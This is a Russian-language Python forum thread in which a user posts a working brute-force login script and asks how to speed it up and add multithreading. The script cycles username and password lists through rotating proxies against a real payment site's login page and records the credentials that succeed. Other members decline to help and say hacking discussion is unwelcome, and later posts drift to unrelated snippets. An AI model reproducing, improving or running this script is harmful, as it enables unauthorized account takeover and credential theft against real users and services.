Форум сайта python.su
Это главный цикл обработки событий. Это не просто бессмысленный и беспощадный:
while True:
pass
Офлайн
Народ помогите плз в питоне только начинаю разбираться как максмильно увеличить скорость вот етого брута!!! Желательно еше и многопоточность сделать
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import urllib
import re
import sys
users = open('users.txt', 'r').readlines()
passwords = open('passwords.txt', 'r').readlines()
proxies_file = open('proxies.txt', 'r').readlines()
hello = open('results.txt', 'w')
count = 25
proxies = []
for line in proxies_file:
proxies.append(line.strip())
def get_proxy():
try:
proxy = proxies.pop()
except IndexError:
print 'Proxy list is empty!'
sys.exit(0)
return proxy
proxy = get_proxy()
print 'Proxy: ' + proxy
for user in users:
user = user.strip()
for password in passwords:
if count == 0:
proxy = get_proxy()
print 'Proxy: ' + proxy
password = password.strip()
data = urllib.urlencode({'username': user, 'password': password, 'loginSubmit': 'Submit'})
try:
page = urllib.urlopen('http://payment.garena.com/index.php?c=VXNlcg==&a=bG9naW4=', data, {'http': 'http://' + proxy}).read()
login = re.findall('Login successfully', page)
except:
proxy = get_proxy()
print 'Proxy: ' + proxy
page = urllib.urlopen('http://payment.garena.com/index.php?c=VXNlcg==&a=bG9naW4=', data, {'http': 'http://' + proxy}).read()
login = re.findall('Login successfully', page)
if len(login) != 0:
print 'Login successfully: ' + user + ';' + password
hello.write(user + ';' + password + '\n')
else:
print 'Incorrect login: ' + user + ';' + password
count -= 1"
Отредактировано (Ноя. 3, 2009 15:15:30)
Офлайн
1. Новый вопрос – новая тема.
2. Тег “code” не дураки придумали, так что им не зазорно пользоваться.
3. Брутфорсы на питоне не пишутся. Они пишутся на asm для x86. Вот начни изучать asm и тебе обязательно помогут в этом вопросе.
P.S. :-)
Офлайн
перваначально на питоне а потом переводятся но смысл как организовать многопотоковость таже!
Офлайн
Угу, я научу тебя писать брутфорсы, трояны и прочие спамилки, а ты потом устроишь мне головную боль, когда с твоей помощью у меня начнут сервера падать… Лучше начни изучать asm и пока его учишь, дурь из бошки-то да выйдет!
Офлайн
Обсуждение хака здесь не приветствуется. Так что думаю вряд ли тебе кто-то поможет с твоей задачей.
Офлайн
sypper-pitПроще чем 1 строка кода?
Работа с прокси проще…
ZZZoO вот этого не понял.
3. Брутфорсы на питоне не пишутся. Они пишутся на asm для x86
o7412369815963Чтобы видеть вывод, чтобы окно консоли сразу не закрывалось.
и вообще зачем бесконечные циклы в конце программы?
o7412369815963Я отличаю кбайты и кбиты.
может: канал 800кбит, а скачиваний 100кбАйт, тогда все сходится
Офлайн